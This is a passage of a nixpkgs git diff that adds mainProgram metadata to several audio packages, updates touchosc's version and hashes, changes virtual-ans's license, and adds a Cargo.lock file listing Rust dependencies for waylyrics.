"x86_64-linux" ]; + mainProgram = "ToneLib-NoiseReducer"; }; } diff --git a/pkgs/applications/audio/tonelib-zoom/default.nix b/pkgs/applications/audio/tonelib-zoom/default.nix index 74fe8645acf3c..e5adc356b6973 100644 --- a/pkgs/applications/audio/tonelib-zoom/default.nix +++ b/pkgs/applications/audio/tonelib-zoom/default.nix @@ -60,5 +60,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ dan4ik605743 ]; platforms = [ "x86_64-linux" ]; + mainProgram = "ToneLib-Zoom"; }; } diff --git a/pkgs/applications/audio/touchosc/default.nix b/pkgs/applications/audio/touchosc/default.nix index 1e6ceb52ace8c..99d0fba6fa95c 100644 --- a/pkgs/applications/audio/touchosc/default.nix +++ b/pkgs/applications/audio/touchosc/default.nix @@ -45,7 +45,7 @@ in stdenv.mkDerivation rec { pname = "touchosc"; - version = "1.2.7.190"; + version = "1.2.9.200"; suffix = { aarch64-linux = "linux-arm64"; @@ -56,9 +56,9 @@ stdenv.mkDerivation rec { src = fetchurl { url = "https://hexler.net/pub/${pname}/${pname}-${version}-${suffix}.deb"; hash = { - aarch64-linux = "sha256-VUsT14miAkCjaGWwcsREBgd5uhKLOIHaH9/jfQECVZ4="; - armv7l-linux = "sha256-x5zpeuIEfimiGmM9YWBSaXknIZdpO9RzQjE/bYMt16g="; - x86_64-linux = "sha256-LdMDFNHIWBcaAf+q2JPOm8MqtkaQ+6Drrqkyrrpx6MM="; + aarch64-linux = "sha256-JrpwD4xD4t9e3qmBCl6hfHv/InnRBRsYIsNNrxwQojo="; + armv7l-linux = "sha256-8e50jznyHUJt9aL5K/emp0T8VSLdXMuBl6KCMot8kIY="; + x86_64-linux = "sha256-lQi1HFW53LdS6Q86s0exp0WmTMTz4g48yZC73DaM2lo="; }.${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}"); }; diff --git a/pkgs/applications/audio/transcribe/default.nix b/pkgs/applications/audio/transcribe/default.nix index 2831dd1f4bafc..0d311adf8799d 100644 --- a/pkgs/applications/audio/transcribe/default.nix +++ b/pkgs/applications/audio/transcribe/default.nix @@ -110,5 +110,6 @@ stdenv.mkDerivation rec { license = licenses.unfree; maintainers = with maintainers; [ iwanb ]; platforms = platforms.linux; + mainProgram = "transcribe"; }; } diff --git a/pkgs/applications/audio/tree-from-tags/default.nix b/pkgs/applications/audio/tree-from-tags/default.nix index 4bf4db09ac077..9b81cc250c1b2 100644 --- a/pkgs/applications/audio/tree-from-tags/default.nix +++ b/pkgs/applications/audio/tree-from-tags/default.nix @@ -34,5 +34,6 @@ EOF platforms = ruby.meta.platforms; maintainers = [ maintainers.livnev maintainers.dbrock ]; license = licenses.gpl2Plus; + mainProgram = "tree-from-tags"; }; } diff --git a/pkgs/applications/audio/vimpc/default.nix b/pkgs/applications/audio/vimpc/default.nix index 7e834efb95249..713f444ef1ea7 100644 --- a/pkgs/applications/audio/vimpc/default.nix +++ b/pkgs/applications/audio/vimpc/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; platforms = platforms.unix; maintainers = with maintainers; [ pSub ]; + mainProgram = "vimpc"; }; } diff --git a/pkgs/applications/audio/virtual-ans/default.nix b/pkgs/applications/audio/virtual-ans/default.nix index 07f006aa0cc1a..a14d5c5a37e23 100644 --- a/pkgs/applications/audio/virtual-ans/default.nix +++ b/pkgs/applications/audio/virtual-ans/default.nix @@ -81,7 +81,7 @@ stdenv.mkDerivation rec { ''; homepage = "https://warmplace.ru/soft/ans/"; sourceProvenance = with sourceTypes; [ binaryNativeCode ]; - license = licenses.free; + license = licenses.unfreeRedistributable; # I cannot test the Darwin version, so I'll leave it disabled platforms = [ "x86_64-linux" "i686-linux" ]; maintainers = with maintainers; [ jacg ]; diff --git a/pkgs/applications/audio/wavegain/default.nix b/pkgs/applications/audio/wavegain/default.nix index 4372944080ec0..93dd7bf6fb235 100644 --- a/pkgs/applications/audio/wavegain/default.nix +++ b/pkgs/applications/audio/wavegain/default.nix @@ -34,5 +34,6 @@ stdenv.mkDerivation { license = lib.licenses.lgpl21; platforms = lib.platforms.linux; maintainers = [ lib.maintainers.robbinch ]; + mainProgram = "wavegain"; }; } diff --git a/pkgs/applications/audio/waylyrics/Cargo.lock b/pkgs/applications/audio/waylyrics/Cargo.lock new file mode 100644 index 0000000000000..2c87d54dd27aa --- /dev/null +++ b/pkgs/applications/audio/waylyrics/Cargo.lock @@ -0,0 +1,3043 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a30b2e23b9e17a9f90641c7ab1549cd9b44f296d3ccbf309d2863cfe398a0cb" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f26201604c87b1e01bd3d98f8d5d9a8fcbb815e8cedb41ffccbeb4bf593a35fe" + +[[package]] +name = "ahash" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "891477e0c6a8957309ee5c45a6368af3ae14bb510732d2684ffa19af310920f9" +dependencies = [ + "getrandom", + "once_cell", + "version_check", +] + +[[package]] +name = "aho-corasick" +version = "1.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" +dependencies = [ + "memchr", +] + +[[package]] +name = "ansi_term" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2" +dependencies = [ + "winapi", +] + +[[package]] +name = "anyhow" +version = "1.0.80" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5ad32ce52e4161730f7098c077cd2ed6229b5804ccf99e5366be1ab72a98b4e1" + +[[package]] +name = "arrayvec" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96d30a06541fbafbc7f82ed10c06164cfbd2c401138f6addd8404629c4b16711" + +[[package]] +name = "assert_float_eq" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4cea652ffbedecf29e9cd41bb4c066881057a42c0c119040f022802b26853e77" + +[[package]] +name = "async-channel" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f28243a43d821d11341ab73c80bed182dc015c514b951616cf79bd4af39af0c3" +dependencies = [ + "concurrent-queue", + "event-listener", + "event-listener-strategy", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-trait" +version = "0.1.77" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "atty" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8" +dependencies = [ + "hermit-abi 0.1.19", + "libc", + "winapi", +] + +[[package]] +name = "autocfg" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa" + +[[package]] +name = "backtrace" +version = "0.3.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2089b7e3f35b9dd2d0ed921ead4f6d318c27680d4a5bd167b3ee120edb105837" +dependencies = [ + "addr2line", + "cc", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" + +[[package]] +name = "bitvec" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bc2832c24239b0141d5674bb9174f9d68a8b5b3f2753311927c172ca46f7e9c" +dependencies = [ + "funty", + "radium", + "tap", + "wyz", +] + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "borsh" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f58b559fd6448c6e2fd0adb5720cd98a2506594cafa4737ff98c396f3e82f667" +dependencies = [ + "borsh-derive", + "cfg_aliases", +] + +[[package]] +name = "borsh-derive" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7aadb5b6ccbd078890f6d7003694e33816e6b784358f18e15e7e6d9f065a57cd" +dependencies = [ + "once_cell", + "proc-macro-crate", + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", + "syn_derive", +] + +[[package]] +name = "bumpalo" +version = "3.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3b1be7772ee4501dba05acbe66bb1e8760f6a6c474a36035631638e4415f130" + +[[package]] +name = "bytecheck" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23cdc57ce23ac53c931e88a43d06d070a6fd142f2617be5855eb75efc9beb1c2" +dependencies = [ + "bytecheck_derive", + "ptr_meta", + "simdutf8", +] + +[[package]] +name = "bytecheck_derive" +version = "0.6.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3db406d29fbcd95542e92559bed4d8ad92636d1ca8b3b72ede10b4bcc010e659" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "bytes" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" + +[[package]] +name = "cairo-rs" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2650f66005301bd33cc486dec076e1293c4cecf768bc7ba9bf5d2b1be339b99c" +dependencies = [ + "bitflags 2.4.2", + "cairo-sys-rs", + "glib", + "libc", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd3bb3119664efbd78b5e6c93957447944f16bdbced84c17a9f41c7829b81e64" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "cc" +version = "1.0.86" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f9fa1897e4325be0d68d48df6aa1a71ac2ed4d27723887e7754192705350730" + +[[package]] +name = "cfg-expr" +version = "0.15.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa50868b64a9a6fda9d593ce778849ea8715cd2a3d2cc17ffdb4a2f2f2f1961d" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cfg_aliases" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fd16c4719339c4530435d38e511904438d07cce7950afa3718a84ac36c10e89e" + +[[package]] +name = "clap" +version = "2.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c" +dependencies = [ + "ansi_term", + "atty", + "bitflags 1.3.2", + "strsim 0.8.0", + "textwrap", + "unicode-width", + "vec_map", +] + +[[package]] +name = "concurrent-queue" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d16048cd947b08fa32c24458a22f5dc5e835264f689f4f5653210c69fd107363" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "cookie" +version = "0.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7efb37c3e1ccb1ff97164ad95ac1606e8ccd35b3fa0a7d99a304c7f4a428cc24" +dependencies = [ + "percent-encoding", + "time", + "version_check", +] + +[[package]] +name = "cookie" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3cd91cf61412820176e137621345ee43b3f4423e589e7ae4e50d601d93e35ef8" +dependencies = [ + "time", + "version_check", +] + +[[package]] +name = "cookie_store" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "387461abbc748185c3a6e1673d826918b450b87ff22639429c694619a83b6cf6" +dependencies = [ + "cookie 0.17.0", + "idna 0.3.0", + "log", + "publicsuffix", + "serde", + "serde_derive", + "serde_json", + "time", + "url", +] + +[[package]] +name = "core-foundation" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" + +[[package]] +name = "crossbeam-utils" +version = "0.8.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" + +[[package]] +name = "darling" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b750cb3417fd1b327431a470f388520309479ab0bf5e323505daf0290cd3850" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "109c1ca6e6b7f82cc233a97004ea8ed7ca123a9af07a8230878fcfda9b158bf0" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote 1.0.35", + "strsim 0.10.0", + "syn 1.0.109", +] + +[[package]] +name = "darling_macro" +version = "0.14.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4aab4dbc9f7611d8b55048a3a16d2d010c2c8334e46304b40ac1cc14bf3b48e" +dependencies = [ + "darling_core", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "dbus" +version = "0.9.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bb21987b9fb1613058ba3843121dd18b163b254d8a6e797e144cbac14d96d1b" +dependencies = [ + "libc", + "libdbus-sys", + "winapi", +] + +[[package]] +name = "dbus-codegen" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a49da9fdfbe872d4841d56605dc42efa5e6ca3291299b87f44e1cde91a28617c" +dependencies = [ + "clap", + "dbus", + "xml-rs", +] + +[[package]] +name = "dbus-dummy" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22d24c4c449e488b022f58a19817ffcedc637d67237076068da883e0fc8f7159" + +[[package]] +name = "dbus-tree" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f456e698ae8e54575e19ddb1f9b7bce2298568524f215496b248eb9498b4f508" +dependencies = [ + "dbus", +] + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", +] + +[[package]] +name = "derivative" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcc3dd5e9e9c0b295d6e1e4d811fb6f157d5ffd784b8d202fc62eac8035a770b" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "derive_is_enum_variant" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0ac8859845146979953797f03cc5b282fb4396891807cdb3d04929a88418197" +dependencies = [ + "heck 0.3.3", + "quote 0.3.15", + "syn 0.11.11", +] + +[[package]] +name = "documented" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2f2016be31b2ee8ca5950d0b985e53d2802bbe646634e41cdf70f668fc66049" +dependencies = [ + "documented-derive", + "phf", + "thiserror", +] + +[[package]] +name = "documented-derive" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83095afc77f3f21d50be46d608d0a1cfa463cc97e4f3aedab871d6e0baf91870" +dependencies = [ + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "encoding_rs" +version = "0.8.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7268b386296a025e474d5140678f75d6de9493ae55a5d709eeb9dd08149945e1" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "enum-kinds" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e40a16955681d469ab3da85aaa6b42ff656b3c67b52e1d8d3dd36afe97fd462" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "errno" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" +dependencies = [ + "libc", + "windows-sys 0.52.0", +] + +[[package]] +name = "event-listener" +version = "5.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ad6fd685ce13acd6d9541a30f6db6567a7a24c9ffd4ba2955d29e3f22c8b27" +dependencies = [ + "concurrent-queue", + "parking", + "pin-project-lite", +] + +[[package]] +name = "event-listener-strategy" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "feedafcaa9b749175d5ac357452a9d41ea2911da598fde46ce1fe02c37751291" +dependencies = [ + "event-listener", + "pin-project-lite", +] + +[[package]] +name = "fastrand" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset", + "rustc_version", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "from_variants" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e859c8f2057687618905dbe99fc76e836e0a69738865ef90e46fc214a41bbf2" +dependencies = [ + "from_variants_impl", +] + +[[package]] +name = "from_variants_impl" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55a5e644a80e6d96b2b4910fa7993301d7b7926c045b475b62202b20a36ce69e" +dependencies = [ + "darling", + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "funty" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" + +[[package]] +name = "futures-channel" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" + +[[package]] +name = "futures-executor" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" + +[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-core", + "futures-macro", + "futures-task", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "gdk-pixbuf" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6a23f8a0b5090494fd04924662d463f8386cc678dd3915015a838c1a3679b92" +dependencies = [ + "gdk-pixbuf-sys", + "gio", + "glib", + "libc", +] + +[[package]] +name = "gdk-pixbuf-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dcbd04c1b2c4834cc008b4828bc917d062483b88d26effde6342e5622028f96" +dependencies = [ + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "gdk4" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6771942f85a2beaa220c64739395e4401b9fab4a52aba9b503fa1e6ed4d4d806" +dependencies = [ + "cairo-rs", + "gdk-pixbuf", + "gdk4-sys", + "gio", + "glib", + "libc", + "pango", +] + +[[package]] +name = "gdk4-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1eb95854fab65072023a7814434f003db571d6e45c287c0b0c540c1c78bdf6ae" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "pkg-config", + "system-deps", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "gettext-rs" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e49ea8a8fad198aaa1f9655a2524b64b70eb06b2f3ff37da407566c93054f364" +dependencies = [ + "gettext-sys", + "locale_config", +] + +[[package]] +name = "gettext-sys" +version = "0.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c63ce2e00f56a206778276704bbe38564c8695249fdc8f354b4ef71c57c3839d" +dependencies = [ + "cc", + "temp-dir", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "gio" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eae10b27b6dd27e22ed0d812c6387deba295e6fc004a8b379e459b663b05a02" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "gio-sys", + "glib", + "libc", + "pin-project-lite", + "smallvec", + "thiserror", +] + +[[package]] +name = "gio-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bcf8e1d9219bb294636753d307b030c1e8a032062cba74f493c431a5c8b81ce4" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", + "windows-sys 0.52.0", +] + +[[package]] +name = "glib" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ab9e86540b5d8402e905ad4ce7d6aa544092131ab564f3102175af176b90a053" +dependencies = [ + "bitflags 2.4.2", + "futures-channel", + "futures-core", + "futures-executor", + "futures-task", + "futures-util", + "gio-sys", + "glib-macros", + "glib-sys", + "gobject-sys", + "libc", + "memchr", + "smallvec", + "thiserror", +] + +[[package]] +name = "glib-macros" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f5897ca27a83e4cdc7b4666850bade0a2e73e17689aabafcc9acddad9d823b8" +dependencies = [ + "heck 0.4.1", + "proc-macro-crate", + "proc-macro2", + "quote 1.0.35", + "syn 2.0.50", +] + +[[package]] +name = "glib-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "630f097773d7c7a0bb3258df4e8157b47dc98bbfa0e60ad9ab56174813feced4" +dependencies = [ + "libc", + "system-deps", +] + +[[package]] +name = "gobject-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c85e2b1080b9418dd0c58b498da3a5c826030343e0ef07bde6a955d28de54979" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "graphene-rs" +version = "0.19.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99e4d388e96c5f29e2b2f67045d229ddf826d0a8d6d282f94ed3b34452222c91" +dependencies = [ + "glib", + "graphene-sys", + "libc", +] + +[[package]] +name = "graphene-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "236ed66cc9b18d8adf233716f75de803d0bf6fc806f60d14d948974a12e240d0" +dependencies = [ + "glib-sys", + "libc", + "pkg-config", + "system-deps", +] + +[[package]] +name = "gsk4" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e8ce8dee0fd87a11002214b1204ff18c9272fbd530408f0884a0f9b25dc31de" +dependencies = [ + "cairo-rs", + "gdk4", + "glib", + "graphene-rs", + "gsk4-sys", + "libc", + "pango", +] + +[[package]] +name = "gsk4-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2660a652da5b662d43924df19ba40d73f015ed427329ef51d2b1360a4e0dc0e4" +dependencies = [ + "cairo-sys-rs", + "gdk4-sys", + "glib-sys", + "gobject-sys", + "graphene-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "gtk4" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d26ffa3ec6316ccaa1df62d3e7f5bae1637c0acbb43f250fabef38319f73c64" +dependencies = [ + "cairo-rs", + "field-offset", + "futures-channel", + "gdk-pixbuf", + "gdk4", + "gio", + "glib", + "graphene-rs", + "gsk4", + "gtk4-macros", + "gtk4-sys", + "libc", + "pango", +] + +[[package]] +name = "gtk4-macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8b86439e9896f6f3f47c3d8077c5c8205174078760afdabd9098a8e9e937d97" +dependencies = [ + "anyhow", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote 1.0.35", + "syn 1.0.109", +] + +[[package]] +name = "gtk4-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2abc0a6d356d59a3806021829ce6ed3e70bba3509b41a535fedcb09fae13fbc0" +dependencies = [ + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk4-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "graphene-sys", + "gsk4-sys", + "libc", + "pango-sys", + "system-deps", +] + +[[package]] +name = "h2" +version = "0.3.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" +dependencies = [ + "ahash", +] + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = 